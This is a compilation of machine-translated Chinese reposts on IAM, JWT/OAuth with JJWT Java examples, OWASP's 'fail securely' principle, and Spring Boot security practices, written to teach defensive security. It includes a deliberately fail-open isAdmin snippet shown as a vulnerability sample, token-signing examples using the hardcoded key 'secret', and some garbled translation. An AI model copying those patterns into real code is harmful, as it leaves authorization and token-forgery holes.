身份和访问管理 (IAM) 是一个业务流程、策略和技术框架，可促进数字身份（人类、设备和应用程序）的管理。从根本上讲，IAM 定义了如何在系统中识别用户、他们拥有什么样的访问权限、提供/取消提供数字身份、保护系统中的数据以及最后保护系统本身。

云托管变得流行，因为它更灵活、可扩展、安全、经济高效和高度可配置。促成这些好处的最大因素是“多租户”。多租户架构为超过 1 个客户提供对云的 4 种基本资源（计算、网络、存储和数据库）的并发共享访问。随着越来越多的监管和合规法律，业务和技术领导者比以往任何时候都更加依赖 IAM 来保护他们——在数据丢失、数据损坏、法律罚款、企业资源访问等方面。

• Basic building blocks of IAM.

上图显示了 IAM 的基本构建块。 这一切都始于“身份元素”，如身份、组等，用于定义“身份模式”，如 DIM、FIM 等，在其上构建“身份协议”，如 oAuth 2.0。 身份元素、IAM 模式和协议都放在一起设计和实施 IAM 云解决方案。 为了进一步阅读，我强烈推荐“Isuru J. Ranawaka”撰写的“云计算中的身份和访问管理”关于每个云工程师应该知道的 97 件事 (redhat.com)

以下是我们可以建立安全企业的安全架构的 8 条指导原则，其中大部分是不言自明的。

• 8 Design Principles of Security Architecture.

总而言之，IAM 解决方案、框架和设计原则可帮助企业满足行业合规要求、隐私法，并帮助他们节省时间和金钱，同时降低业务部门的风险。

原文：https://medium.com/@krishnacavva/enterprise-security-series-part-2-iden…

本文：https://jiagoushi.pro/enterprise-security-series-part-2-identity-and-ac…

令牌身份验证，OAuth或JSON Web令牌的新手？ 这是一个很好的起点！

首先，什么是JSON Web令牌，或JWT（发音为“jot”）？ 简而言之，JWT是用于令牌认证的安全且值得信赖的标准。 JWT允许您使用签名对信息（称为声明）进行数字签名，并且可以在以后使用秘密签名密钥进行验证。

什么是令牌认证？

应用程序确认用户身份的过程称为身份验证。传统上，应用程序通过会话cookie保持身份，这些cookie依赖于服务器端存储的会话ID。在此结构中，开发人员被迫创建独特且特定于服务器的会话存储，或实现为完全独立的会话存储层。

令牌认证是一种更现代的方法，设计解决了服务器端会话ID无法解决的问题。使用令牌代替会话ID可以降低服务器负载，简化权限管理，并提供更好的工具来支持分布式或基于云的基础架构。在此方法中，为用户提供可验证凭据后会生成令牌。初始身份验证可以是用户名/密码凭据，API密钥，甚至来自其他服务的令牌。 （Stormpath的API密钥身份验证功能就是一个例子。）

有兴趣了解更多？查看此博客文章，了解如何使用令牌扩展用户管理或完整的产品文档。

JWT的剖析

如果您在野外遇到JWT，您会注意到它分为三个部分，标题，有效负载和签名。 （随着我们剖析JWT的解剖结构，请关注Stormpath的开源Java JWT工具！）以下是典型JWT的示例：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
.
eyJzdWIiOiJ1c2Vycy9Uek1Vb2NNRjRwIiwibmFtZSI6IlJvYmVydCBUb2tlbiBNYW4 
.
1pVOLQduFWW3muii1LExVBt2TK1-MdRI4QjhKryaDwc

在此示例中，第1节是描述令牌的标头。 第2节是有效载荷，其中包含JWT的声明，第3节是签名散列，可用于验证令牌的完整性（如果您有用于签名的密钥）。

当我们解码有效载荷时，我们得到这个包含JWS声明的漂亮，整洁的JSON对象：

{
 "sub": "users/TzMUocMF4p",
 "name": "Robert Token Man",
 "scope": "self groups/admins",
 "exp": "1300819380"
}

要求(Cliam) 告诉你，至少：

• 这个人是谁以及他们的用户资源的URI（子要求）
• 此人可使用此令牌访问的内容（范围声明）
• 令牌过期时您的API应在验证令牌时使用此功能。

因为令牌是使用密钥签名的，所以您可以验证其签名并隐含地信任所声称的内容。

JWE，JWS和JWT

根据JWT规范，“JWT将一组声明表示为以JWS和/或JWE结构编码的JSON对象。”术语“JWT”在技术上仅描述了无符号标记;我们称之为JWT的通常是JWS或JWS + JWE。

JWS - JSON Web签名

在JWS方案中，服务器对JWT进行签名并使用签名将其发送到客户端。签名保证了JWT要求没有被伪造或篡改。但是，JWT未加密（内容基本上是纯文本）。

JWE - JSON Web加密

另一方面，JWE方案在不签名的情况下加密内容。这为您的JWT带来了机密性，但不是JWE签名和封装JWE的安全性。

什么是OAuth？

OAuth 2.0是与可以委派身份验证或提供授权的服务进行交互的框架。它被广泛用于许多移动和Web应用程序。 OAuth 2.0没有指定令牌格式，但JWT正在迅速成为业界的事实标准。

在OAuth范例中，有两种令牌类型：访问和刷新令牌。首次进行身份验证时，通常会为您的应用程序（以及您的用户）提供两个令牌，但访问令牌设置为在短时间后过期（此持续时间可在应用程序中配置）。初始访问令牌到期后，刷新令牌将允许您的应用程序获取新的访问令牌。刷新令牌具有设置的到期时间，允许无限制地使用，直到达到该到期点。 Access和Refresh Tokens都具有内置安全性（签名时）以防止篡改，并且仅在特定持续时间内有效。

Stormpath使用OAuth，因为它是一个行业标准，任何兼容的库都可以利用它。 Stormpath目前支持三种OAuth的授权类型：

• 密码授予类型：提供基于用户名和密码获取访问令牌的功能
• 刷新授权类型：提供基于特殊刷新令牌生成另一个访问令牌的功能
• 客户端凭据授权类型：提供为访问令牌交换API密钥对的功能。这通过API密钥管理功能得到支持

用Java创建和验证JWT

所以，你在代币上出售，现在，你如何在你的应用程序中使用它们？

好吧，如果你是Java开发人员，你应该从JJWT开始。 JJWT是一个Java库，提供由我们自己的Les Hazlewood开发并由开发人员社区维护的端到端JSON Web令牌创建和验证。永远免费和开源（Apache许可证，版本2.0），它设计了一个以构建者为中心的界面，隐藏了其大部分复杂性。

创建

由于JJWT的流畅界面，JWT的创建基本上分为三个步骤：

令牌的内部声明的定义，如Issuer，Subject，Expiration和ID。

密码签名JWT（制作JWS）

根据JWT Compact Serialization规则，将JWT压缩为URL安全字符串

最终的JWT将是一个由三部分组成的Base64编码字符串，使用提供的密钥使用指定的签名算法进行签名。在此之后，令牌已准备好与另一方共享。

这是使用JJWT库从上面创建JWT的示例：

String jwt = Jwts.builder()
 .setSubject("users/TzMUocMF4p")
 .setExpiration(new Date(1300819380))
 .claim("name", "Robert Token Man")
 .claim("scope", "self groups/admins")
 .signWith(
 SignatureAlgorithm.HS256,
 "secret".getBytes("UTF-8")
 )
 .compact();

证实

一旦拥有JWT，您通常会将其交还给请求它的客户端。 然后，客户端将其存储并将请求中的令牌传递给您的应用程序。 这通常使用HTTP中的cookie值或授权标头来完成。 例如：

HTTP/1.1
 
GET /secure-resource
 
Host: https://yourapplication.com
 
Authorization: Bearer eyJraWQiOiIzMUUzRDZaM0xaMVdFSEJGWVRQRksxRzY4IiwiYWxnIjoiSFMyNTYifQ.eyJqdGkiOiI2a3NjVFMyUjZuYlU3c1RhZ0h0aWFXIiwiaWF0IjoxNDQ1ODU0Njk0LCJpc3MiOiJodHRwczovL2FwaS5zdG9ybXBhdGguY29tL3YxL2FwcGxpY2F0aW9ucy8zUUlNbEpLS04yd2hHQ1l6WFh3MXQ4Iiwic3ViIjoiaHR0cHM6Ly9hcGkuc3Rvcm1wYXRoLmNvbS92MS9hY2NvdW50cy8xeG15U0dLMXB5VVc1c25qOENvcmU1IiwiZXhwIjoxNDQ1ODU4Mjk0LCJydGkiOiI2a3NjVE9pTUNESVZWM05qVTIyUnlTIn0.VJyMOicMOdcOCtytsx4hoPHy3Hl3AfGNfi2ydy8AmG4

验证JWT允许您验证其真实性（通过检查其数字签名，您可以检查它是否已过期并验证它是否未被篡改）并获取有关发送令牌的用户的信息。

以下是验证我们在上面创建的JWT的示例：

String jwt = <jwt passed in from above>
Jws<Claims> claims = Jwts.parser()
 .setSigningKey("secret".getBytes("UTF-8"))
 .parseClaimsJws(jwt)
String scope = claims.getBody().get("scope")
assertEquals(scope, "self groups/admins");

如果签名不正确，则对parseClaimsJws的调用将抛出SignatureException。成功解析后，可以获取并检查单个声明，如下所示：String scope = claims.getBody（）。get（“scope”）。

例外

JJWT在与JWT合作时进行了各种验证。所有与JJWT相关的异常都是RuntimeExceptions，以JwtException作为基类。

这些错误会导致抛出特定异常：

• ClaimJwtException：在验证JWT声明失败后抛出
• ExpiredJwtException：表示JWT在过期后被接受，必须被拒绝
• MalformedJwtException：当JWT未正确构造并且应该被拒绝时抛出
• PrematureJwtException：表示JWT在被允许访问之前被接受，必须被拒绝
• SignatureException：表示计算签名或验证JWT的现有签名失败
• UnsupportedJwtException：在接收到与应用程序预期格式不匹配的特定格式/配置的JWT时抛出。例如，如果在应用程序需要加密签名的声明JWS时解析无符号明文JWT，则会抛出此异常
• JJWT使用了许多其他Exception类。它们都可以在JJWT源代码中的io.jsonwebtoken包中找到。

令牌安全吗？

这里真正的问题是，你安全地使用它们吗？在Stormpath，我们遵循这些最佳实践，并鼓励我们的客户也这样做：

• 将您的JWT存储在安全的HttpOnly cookie中。这可以防止跨站点脚本（XSS）攻击。
• 如果您使用cookie来传输JWT，CSRF保护非常重要！未经用户同意，向您的网站提出请求的其他域名可能会恶意使用您的Cookie。如果您的服务器盲目地对用户进行身份验证，只是因为他们有cookie，那么您遇到的问题比硬盘驱动器大。您还允许进行CSRF攻击，其他网站会在未经用户同意的情况下触发您服务器上的状态更改操作。这是可能的，因为浏览器将始终自动发送用户的cookie，无论请求是如何被触发的。使用众多CSRF预防措施之一来降低此风险。
• 使用仅可用于身份验证服务的强密钥对您的令牌进行签名。每次使用令牌对用户进行身份验证时，您的服务器必须验证令牌是否已使用您的密钥签名。
• 不要将任何敏感数据存储在JWT中。这些令牌通常被签名以防止操纵（未加密），因此可以容易地解码和读取权利要求中的数据。如果您必须在其中放入敏感的，不透明的信息，请加密您的令牌。秘密签名密钥只能由发行方和消费者访问;它不应该在这两方之外进行。
• 如果您担心重播攻击，请在声明中包含nonce（jti声明），到期时间（exp声明）和创建时间（ifat声明）。这些在JWT规范中有明确定义。

JJWT，JSONWebToken.io和JWT Inspector

Stormpath支持开发几个与JWT相关的开源开发人员工具，包括：

JJWT

JJWT是一个易于使用的工具，供开发人员用Java创建和验证JWT。在Stormpath支持的许多库中，JJWT是完全免费和开源的（Apache License，Version 2.0），因此每个人都可以看到它的作用以及它是如何做到的。不要犹豫，报告任何问题，建议改进，甚至提交一些代码！

JSONWebToken.io

JSONwebtoken.io是我们创建的一个开发工具，可以轻松解码JWT。将现有JWT简单粘贴到适当的字段中以解码其标头，有效负载和签名。 JSONWebToken.io由nJWT提供支持，nJWT是Node.js开发人员最干净的免费和开源（Apache License，Version 2.0）JWT库。

JWT检查器

JWT Inspector是一个开源的Chrome扩展程序，允许开发人员直接在浏览器中检查和调试JWT。 JWT Inspector将在您的站点上发现JWT（在cookie，本地/会话存储和标题中），并通过导航栏和DevTools面板轻松访问它们。

想要了解有关JWT，令牌认证或用户身份管理的更多信息？以下是我们团队的一些进一步资源：

• 单页应用程序的令牌认证
• 使用Spring Boot和Stormpath进行OAuth令牌管理
• Java应用程序的令牌认证
• 使用JSON Web令牌构建安全的用户界面
• OAuth不是单点登录

Java对JWT（JSON Web Tokens）的支持过去需要大量的工作：广泛的自定义，几小时的解析依赖关系，以及仅用于组装简单JWT的代码页。不再！

本教程将向您展示如何使用现有的JWT库来做两件事：

• 生成JWT
• 解码并验证JWT

您会注意到该教程非常简短。那是因为它很容易。如果您想深入挖掘，请查看JWT规范或深入了解有关在Spring Boot应用程序中使用JWT进行令牌身份验证的更长篇文章。

什么是JWT？

JSON Web令牌是用于以紧凑和安全的方式在各方之间发送信息的JSON对象。 JSON规范或Javascript Object Notation定义了一种使用键值对创建纯文本对象的方法。它是构建基于原始类型（数字，字符串等）的数据的紧凑方式。你可能已经非常熟悉JSON了。它就像没有所有括号的XML。

令牌可用于在各方之间发送任意状态。通常这里“聚会”表示客户端Web应用程序和服务器。 JWT有许多用途：身份验证机制，URL安全编码，安全共享私有数据，互操作性，数据到期等。

实际上，这些信息通常涉及两件事：授权和会话状态。服务器可以使用JWT告诉客户端应用程序允许用户执行哪些操作（或允许他们访问哪些数据）。

JWT通常还用于存储Web会话的依赖于状态的用户数据。因为JWT在客户端应用程序和服务器之间来回传递，这意味着状态数据不必存储在某个数据库中（并随后在每个请求中检索）;因此，它可以很好地扩展。

让我们来看一个示例JWT（取自jsonwebtoken.io）

JWT有三个部分：标题，正文和签名。标题包含有关如何编码JWT的信息。身体是令牌的肉（声称存在的地方）。签名提供安全性。

关于如何编码令牌以及如何将信息存储在正文中，我们将不会详细介绍这些细节。如果需要，请查看前面提到的教程。

不要忘记：加密签名不​​提供机密性;它们只是一种检测篡改JWT的方法，除非JWT是专门加密的，否则它们是公开可见的。签名只是提供了一种验证内容的安全方法。

大。得到它了？现在你需要用JJWT制作一个令牌！在本教程中，我们使用的是现有的JWT库。 Java JWT（a.k.a.，JJWT）由Les Hazlewood创建（Apache Shiro的前任提交者，Stormpath的前联合创始人兼首席技术官，目前是Okta自己的高级架构师），JJWT是一个简化JWT创建和验证的Java库。它完全基于JWT，JWS，JWE，JWK和JWA RFC规范以及Apache 2.0许可条款下的开源。该库还为规范添加了一些不错的功能，例如JWT压缩和声明实施。

用Java生成令牌

这部分超级简单。我们来看一些代码吧。克隆GitHub仓库：

git clone https://github.com/oktadeveloper/okta-java-jwt-example.git 
 cd okta-java-jwt-example

这个例子非常基本，包含一个带有两个静态方法的src / main / java / JWTDemo.java类文件：createJWT（）和decodeJWT（）。 狡猾的是，这两种方法创建了JWT并解码了JWT。 看看下面的第一种方法。

public static String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
 //The JWT signature algorithm we will be using to sign the token
 SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 long nowMillis = System.currentTimeMillis();
 Date now = new Date(nowMillis);
 //We will sign our JWT with our ApiKey secret
 byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(SECRET_KEY);
 Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 //Let's set the JWT Claims
 JwtBuilder builder = Jwts.builder().setId(id)
 .setIssuedAt(now)
 .setSubject(subject)
 .setIssuer(issuer)
 .signWith(signatureAlgorithm, signingKey);
 
 //if it has been specified, let's add the expiration
 if (ttlMillis > 0) {
 long expMillis = nowMillis + ttlMillis;
 Date exp = new Date(expMillis);
 builder.setExpiration(exp);
 } 
 
 //Builds the JWT and serializes it to a compact, URL-safe string
 return builder.compact();
}

总而言之，createJWT（）方法执行以下操作：

1. 设置散列算法
2. 获取Issued At声明的当前日期
3. 使用SECRET_KEY静态属性生成签名密钥
4. 使用流畅的API添加声明并签署JWT
5. 设置到期日期

这可以根据您的需求进行定制。 例如，如果您要添加不同或自定义声明。

解码令牌

现在来看看更简单的decodeJWT（）方法。

public static Claims decodeJWT(String jwt) {
 //This line will throw an exception if it is not a signed JWS (as expected)
 Claims claims = Jwts.parser()
 .setSigningKey(DatatypeConverter.parseBase64Binary(SECRET_KEY))
 .parseClaimsJws(jwt).getBody();
 return claims;
}

该方法再次使用静态SECRET_KEY属性生成签名密钥，并使用它来验证JWT是否未被篡改。 如果签名与令牌不匹配，则该方法将抛出io.jsonwebtoken.SignatureException异常。 如果签名匹配，则该方法将声明作为声明对象返回。

这就是它！

运行JUnit测试

为了额外的功劳，您可以在示例项目中运行JUnit测试。 有三个测试，它们展示了JJWT库的一些基本功能。 第一个测试显示了快乐路径，创建并成功解码了有效的JWT。 第二个测试显示当您尝试将完全伪造的字符串解码为JWT时JJWT库将如何失败。 最后一个测试显示了被篡改的JJWT将如何导致decodeJWT（）方法抛出SignatureException。

您可以使用以下命令从命令行运行这些测试：

./gradlew test -i

-i是将Gradle的日志级别设置为Info，以便我们从测试中看到简单的日志记录输出。

了解有关在Java应用程序中使用JWT的更多信息

JJWT库使得创建和验证JWT变得非常容易。只需指定一个密钥和一些声明，你就有了一个JJWT。稍后，使用相同的密钥对JJWT进行解码并验证其内容。

创建和使用JJWT现在非常简单，为什么不使用它们？

不要忘记SSL！请记住，除非JWT加密，否则其中编码的信息通常只有Base64编码，任何小孩和一些宠物都可以阅读。因此，除非您希望中国，俄罗斯和FBI读取您的所有会话数据，否则请使用SSL对其进行加密。

Baeldung在Java和JWT方面有很好的深度教程。

此外，以下是来自Okta博客的更多链接，以便您继续：

• Java应用程序的简单令牌认证
• 开始使用Spring Boot，OAuth 2.0和Okta
• 10种保护Spring Boot应用程序的绝佳方法
• 如果您的JWT被盗，会发生什么？
• JWT分析仪和Inspector Chrom插件
• 在线编码或解码JWT

本文：https://pub.intelligentx.net/application-security-create-and-validate-jwt-using-java

讨论：请加入知识星球或者小红圈【首席架构师圈】

描述

安全地处理错误是安全编码的一个关键方面。有两种类型的错误需要特别注意。第一个是在处理安全控制本身时发生的异常。重要的是，这些异常不会启用对策通常不允许的行为。作为开发人员，您应该考虑安全机制通常有三种可能的结果：

• 允许操作
• 禁止操作
• 例外

通常，您应该设计安全机制，以便故障将遵循与禁止操作相同的执行路径。例如，如果在处理期间存在异常，则isAuthorized（），isAuthenticated（）和validate（）等安全方法都应返回false。如果安全控制可以抛出异常，那么它们必须非常清楚该条件的确切含义。

另一种类型的安全相关异常是在不属于安全控制的代码中。如果它们影响应用程序是否正确调用控件，则这些异常与安全性相关。异常可能导致安全方法在不应该被调用时，或者它可能会影响安全控件中使用的变量的初始化。

例子

isAdmin

isAdmin = true; 
try { 
  codeWhichMayFail(); 
  isAdmin = isUserInRole( “Administrator” ); 
}
catch (Exception ex)
{
  log.write(ex.toString()); 
} 

如果codeWhichMayFail（）失败，则默认情况下用户是管理员。这显然是一种安全风险。在这种情况下，修复很简单。它涉及简单的逻辑反转。在示例实例中，这很容易做到。

isAdmin = false;
try {
  codeWhichMayFail();
  isAdmin = isUserInrole( "Administrator" );
}
catch (Exception ex)
{
  log.write(ex.toString());
}

此示例也是最低权限原则的示例，该原则声明您永远不应授予超出要求的访问权限。如果codeWhichmayFail（）需要管理员访问权限，我们应该在运行该代码之前验证管理员访问权限。

相关漏洞

• Vulnerability 1

相关控制

• Error handling

相关原则

• Least privilege

参考

https://buildsecurityin.us-cert.gov/articles/knowledge/principles/faili…

原文：https://www.owasp.org/index.php/Fail_securely

本文：

讨论：加入知识星球或者小红圈【首席架构师圈】

Spring Boot极大地简化了Spring应用程序的开发。它的自动配置和启动器依赖关系减少了启动应用程序所需的代码和配置量。

Spring Boot于2014年首次发布，自那以后发生了很多变化。就像代码质量和测试一样，安全性已经成为开发人员关注的问题。如果您是一名开发人员，并且不关心安全性，那么您可能认为您应该关心安全性。本文的目的是向您介绍如何创建更安全的Spring引导应用程序。

我与Simon Maple合作撰写了这篇文章，他是斯奈德的Java冠军和开发人员关系主管。我们都为安全行业的公司工作，热爱Java，并希望帮助开发人员创建更安全的应用程序。我们认为写这篇文章将是一个回馈社区的有趣方式。如果您对我们列出的有其他建议，请在评论中添加!

1. 在生产中使用HTTPS

传输层安全性(TLS)是HTTPS的官方名称。您可能听说过它被称为SSL(安全套接字层)。SSL是不推荐的名称。TLS是一种通过计算机网络提供安全通信的加密协议。它的主要目标是确保计算机应用程序之间的隐私和数据完整性。

TLS/SSL证书过去很昂贵，HTTPS被认为很慢。机器变得更快，解决了性能问题，让我们加密提供免费的TLS证书。这两个发展已经改变了游戏，并使TLS成为主流。

自2018年7月24日起，谷歌Chrome浏览器将HTTP站点标记为“不安全”。虽然这在web社区中引起了相当多的争议，但它仍然存在。特洛伊亨特，一位著名的安全研究员，创造了一个为什么没有HTTPS?跟踪不使用HTTPS的大型网站的站点。你可能不会开发下一个主要的网站，但是为什么要限制自己呢?

生成和更新Let 's加密的TLS证书可以实现自动化。既然他们是免费的，就没有理由不去做!Let 's Encrypt保护的Spring引导是关于如何做到这一点的有用指南。

要在Spring Boot应用程序中强制使用HTTPS，可以扩展WebSecurityConfigurerAdapter并要求安全连接。

@Configuration
public class SecurityConfiguration extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http.requiresChannel().requiresSecure();
 }
}

此配置还将强制HTTPS进入开发，这可能会带来麻烦，因为您必须使用自签名证书。如果使用Heroku、Cloud Foundry或其他云提供商，更合理的配置是寻找x - forward - proto头文件。

@Configuration
public class SecurityConfiguration extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http.requiresChannel()
 .requestMatchers(r -> r.getHeader("X-Forwarded-Proto") != null)
 .requiresSecure();
 }
}

云提供商可以极大地简化TLS证书。Amazon证书管理器与Let 's加密完全一样，只是默认情况下它内置在所有AWS产品/服务中。它允许您提供100%免费的SSL证书，并处理自动更新等，几乎不需要任何工作/配置。Heroku也有自动的证书管理。

另一个要做的重要事情是使用HTTP严格传输安全(HSTS)。HSTS是一种web安全策略机制，用于保护网站免受协议降级攻击和cookie劫持。服务器使用名为Strict-Transport-Security的响应头字段将HSTS策略与浏览器通信。Spring Security在缺省情况下发送此头，以避免在开始时不必要的HTTP跳转。

2. 使用斯奈德(Snyk)检查依赖

您很可能不知道应用程序使用了多少直接依赖项。您极有可能不知道应用程序使用了多少传递依赖项。这通常是正确的，尽管依赖关系构成了整个应用程序的大部分。攻击者越来越多地瞄准开源依赖关系，因为它们的重用为恶意黑客提供了许多受害者。确保应用程序的整个依赖树中没有已知的漏洞是很重要的。

斯奈德测试你的应用程序构建构件，标记那些已知漏洞的依赖关系。它为您提供了一个存在于您的应用程序中用作仪表板的包中的漏洞列表。

此外，它将建议升级版本或提供补丁，通过对源代码存储库发出拉请求来修复安全性问题。snyder还保护您的环境，通过确保将来在您的存储库中提出的任何pull请求都被自动测试(通过webhook)，以确保它们不会引入新的已知漏洞。

每天都会在现有的项目和库中发现新的漏洞，因此监视和保护生产部署非常重要。斯奈德会拍快照并监控你的部署，这样当发现新的漏洞时，你可以通过你喜欢的频道，JIRA, slack或电子邮件自动通知你，并创建拉请求来为新的漏洞提供升级和补丁。

snyder k通过web UI和CLI可用，因此您可以轻松地将其集成到CI环境中，并在漏洞严重程度超过设置阈值时配置它来破坏构建。

你可以免费使用斯奈德的开源项目或私人项目，每月测试的次数有限。

3.升级到最新版本

定期升级应用程序中的依赖项有多种原因。安全性是促使您进行升级的最重要原因之一。start.spring。io starter页面尽可能使用最新版本的Spring包以及依赖项。

“我发现，在依赖关系中寻找漏洞可能有助于激励人们进行升级。然而，有大量证据表明，并不是所有的cve都被报道。一般来说，我发现理想的解决方案(可能不实用)是最新的和最好的。——Rob Winch

基础设施升级的破坏性通常小于依赖项升级，因为库的作者对向后兼容性和版本之间的行为变化的敏感性不同。也就是说，当您在配置中发现安全漏洞时，您有三个选项:升级、补丁或忽略。

升级是最安全的，就应用程序的整体健康而言，在您对应用程序进行任何必要的更改以使用新版本之后。

脆弱项目的补丁将从包中消除该漏洞，但通常会留下一个配置，该配置可能没有经过很好的测试。对库的代码更改会更少，因为补丁只会更改易受攻击的代码，所以破坏向后兼容性或引入行为更改的几率会降低。第三方安全公司，如斯奈德手工修补了许多漏洞，所以如果不能升级到一个新的版本的库，你仍然可以使用旧版本的补丁。

忽略漏洞当然是一种选择，但不是一个好的选择。也许您知道某个漏洞，但是不相信它是可以直接利用的。请记住，它现在可能不在您的应用程序流中，但是在某个时候，开发人员可能会添加使用脆弱路径的额外代码。

4. 使CSRF保护

跨站点请求伪造是一种攻击，它迫使用户在当前登录的应用程序中执行不需要的操作。如果用户是普通用户，则成功的攻击可能涉及状态更改请求，如转移资金或更改电子邮件地址。如果用户拥有更高的权限，CSRF攻击可能危及整个应用程序。

Spring Security默认支持优秀的CSRF。如果您使用Spring MVC的标记或Thymeleaf和@EnableWebSecurity, CSRF令牌将自动添加为一个隐藏的输入字段。

如果您正在使用像Angular或React这样的JavaScript框架，则需要配置CookieCsrfTokenRepository，以便JavaScript能够读取cookie。

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http
 .csrf()
 .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
 }
}

如果你使用Angular，这就是你需要做的。如果使用React，则需要读取XSRF-TOKEN cookie并将其作为X-XSRF-TOKEN头发送回去。

当通过HTTPS发出请求时，Spring Security会自动向XSRF-TOKEN cookie添加一个安全标志。Spring Security对CSRF cookie不使用SameSite=strict标志，但在使用Spring会话或WebFlux会话处理时使用。这对于会话cookie是有意义的，因为它被用来标识用户。它没有为CSRF cookie提供太多的价值，因为CSRF令牌也需要在请求中。

5. 使用内容安全策略来防止XSS攻击

内容安全策略(CSP)是一种附加的安全层，有助于减轻跨站点脚本攻击和数据注入攻击。要启用它，您需要将应用程序配置为返回Content-Security-Policy头。还可以在HTML页面中使用标记。

Spring security在默认情况下提供了许多安全头:

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block

Spring Security默认情况下不添加CSP。您可以使用下面的配置在Spring Boot应用程序中启用CSP头。

@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http.headers()
 .contentSecurityPolicy("script-src 'self' https://trustedscripts.example.com; object-src https://trustedplugins.example.com; report-uri /csp-report-endpoint/");
 }
}

CSP是防止XSS攻击的一种很好的防御手段。请记住，打开您的CSP以允许使用CDN通常会允许访问许多非常古老和脆弱的JavaScript库。这意味着使用CDN通常意味着您不再为应用程序的安全性增加很多价值。

您可以使用securityheaders.com测试您的CSP头文件。

6. 使用OpenID Connect进行身份验证

OAuth 2.0是用于授权的行业标准协议。它使用范围来定义授权用户可以执行哪些操作的权限。但是，OAuth 2.0不是一个身份验证协议，它不提供关于经过身份验证的用户的任何信息。

OpenID Connect (OIDC)是一个提供用户信息的OAuth 2.0扩展。除了访问令牌之外，它还添加了ID令牌，以及/userinfo端点，您可以从该端点获得附加信息。它还添加了端点发现特性和动态客户端注册。

下图显示了OIDC如何进行身份验证。

如果使用OIDC进行身份验证，就不必担心存储用户、密码或身份验证用户。相反，您将使用标识提供程序(IdP)为您完成这项工作。您的IdP甚至可能提供安全附加组件，比如多因素身份验证(multi-factor authentication, MFA)。

要了解如何在Spring引导应用程序中使用OIDC，请参阅Spring Security 5.0和OIDC入门。要总结如何使用它，您需要向项目添加一些依赖项，然后在应用程序中配置一些属性。yml文件。

spring:
 security:
 oauth2:
 client:
 registration:
 okta:
 client-id: {clientId}
 client-secret: {clientSecret}
 scope: openid email profile
 provider:
 okta:
 issuer-uri: https://{yourOktaDomain}/oauth2/default

注意:使用发布器uri只在Spring Security 5.1中得到支持，Spring Security 5.1正在积极开发中，计划于2018年9月发布。

您可以使用像Keycloak这样的开源系统来设置自己的OIDC服务器。如果您不希望在生产中维护自己的服务器，可以使用Okta的开发人员api。今天注册一个免费帐户，每月在developer.okta.com/signup上获得1000个活跃用户!

如果您想使用OAuth 2.0、OIDC以及它所允许的不同流，请参见https://www.oauth.com/playground。这个站点不需要您创建帐户，但是它确实在幕后使用了Okta的开发人员api。

7. 管理密码吗?使用密码散列!

对于应用程序的安全性来说，用纯文本存储密码是最糟糕的做法之一。幸运的是，Spring security默认不允许使用纯文本密码。它还附带一个加密模块，您可以使用该模块进行对称加密、密钥生成和密码散列(也称为密码散列)。、密码编码)。

PasswordEncoder是Spring Security中密码散列的主要接口，其外观如下:

public interface PasswordEncoder {
 String encode(String rawPassword);
 boolean matches(String rawPassword, String encodedPassword);
}

Pbkdf2PasswordEncoder。

对于一般的密码管理，我们建议使用SCrypt或Argon2。SCrypt现在很老了(已经有一段时间了)，并且有一个BCrypt没有的额外复杂性因素，这使得使用蛮力变得更加困难/昂贵。它由著名的密码学者/安全专家(Colin Percival)编写，几乎每种编程语言都有很棒的库。SCrypt也得到了Latacora的认可。

Okta开发人员关系团队的密码学专家Randall Degges说:

Argon2相对较新(现在已经有几年的历史了)，但是已经得到了广泛的审计/审查，并且是许多组织在几年的过程中参与的密码散列挑战的结果。毫无疑问，它们中“最强”的哈希算法增加了scrypt所没有的另一层复杂性，这使得与scrypt相比，使用暴力的代价要高得多/困难得多。Argon2非常棒，我已经在好几种语言中成功地使用了它，但是如果您担心过于尖端的scrypt是一个安全的选择，而且没有争议。

From Rob Winch, Spring Security Lead:

“我喜欢BCrypt，但一般的建议是单向自适应散列。出于遵从性的原因，一些用户可能需要使用PBKDF2。有一个Argon2支持的票据记录，但是我没有找到任何Apache 2原生Java实现(如果您知道任何实现，请让我知道!)相反，库依赖于它们委托给的二进制文件，在我看来这并不理想。对于等待还是利用委托给二进制的实现之一，我们持观望态度。”

对于那些希望使用SCrypt的用户，在SCryptPasswordEncoder中有通过Bouncy Castle实现Spring安全性的支持。Spring Security 5.1 (est. 2018年9月下旬)将附带一个UserDetailsPasswordService API，允许您升级密码存储。

8. 存储机密安全

密码、访问令牌等敏感信息应谨慎处理。您不能将它们放在周围，不能以纯文本形式传递它们，或者如果将它们保存在本地存储中，则不能进行预测。正如(GitHub)的历史一次又一次地证明，开发人员对于如何存储他们的秘密考虑得不够仔细。

当然，您可以也应该加密您的敏感数据，比如密码。现在您的密码是安全的，您有一个新的秘密，您的解密密钥!你打算怎么处理这个新秘密?也许在本地存储?也许在另一个地方，某个你认为攻击者很难找到它的地方。这并不能解决问题;它只是推迟了它。如果没有适当的程序，黑客想要破解你的秘密只会稍微困难一点。

一个好的实践是将秘密存储在一个保险库中，该保险库可用于存储、提供对应用程序可能使用的服务的访问，甚至生成凭据。HashiCorp的Vault使得存储秘密变得微不足道，同时还提供了许多额外的服务。Vault可以配置为不允许任何人访问所有数据，从而不提供单一的控制点。根密钥库定期使用更改，并且只存储在内存中。有一个主开关，当触发时将密封你的保险库，阻止它分享秘密，如果发生问题。Vault使用被分配给策略的令牌，这些策略可以作用于特定的用户、服务或应用程序。还可以与常见的身份验证机制(如LDAP)集成以获得令牌。

